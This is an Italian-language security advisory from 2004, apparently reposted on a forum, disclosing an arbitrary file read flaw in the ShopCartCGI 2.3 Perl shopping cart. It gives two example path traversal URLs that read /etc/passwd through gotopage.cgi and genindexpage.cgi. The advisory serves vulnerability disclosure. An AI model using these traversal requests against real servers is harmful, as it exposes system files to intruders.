ShopCartCGI v2.3 lettura remota di file arbitrari

[Ikarosavenger_79]

ZH2004-06SA (security advisory) ShopCartCGI v2.3 lettura remota di file arbitrari

Pubblicato 17 febbraio 2004



Rilasciato 17 febbraio 2004



Nome ShopCartCGI



Software vulnerabili versione corrente



Titolo Lettura remota di file arbitrari



Author G00db0y from Zone-h Security Labs - g00db0y@zone-h.org - zetalabs@zone-h.org



Vendor //ggmate



Descrizione



***********



Zone-h Security Team ha scoperto due falle di sicurezza in ShopCartCGI 2.3. Esistono due vulnerabilit? nella versione corrente di ShopCartCGI che permettono ad un malintenzionato di accedere a qualsiasi file sul webserver con i suoi privilegi. "The ShopCart CGI is a set of scripts written in Perl to make it easy for you to design and maintain your own WEB Shopping Cart system. The major advantages of this software is that you design your WEB pages based on a simple template. The template provides the mechanisms of form data entry using CGI."



Dettagli



********



E' possibile per un malintenzionato accedere a qualsiasi file sul webserver.



Per esempio



//address/directory/gotopage.cgi?13686+/../../../../../../../../../../../../../../../../etc/passwd



//address/directory/genindexpage.cgi?13687+Home+/../../../../../../../../../../../../../../../../etc/passwd



Soluzione



*********



Il produttore ? stato contattato pi? di 3 settimane fa ma non ? abbiamo ricevuto nessuna risposta.







G00db0y from Zone-h Security Labs - g00db0y@zone-h.org - zetalabs@zone-h.org





Tratto da //zone-h.it/advisories/read/id=270_________________Faq - Contratti - Video Tutorial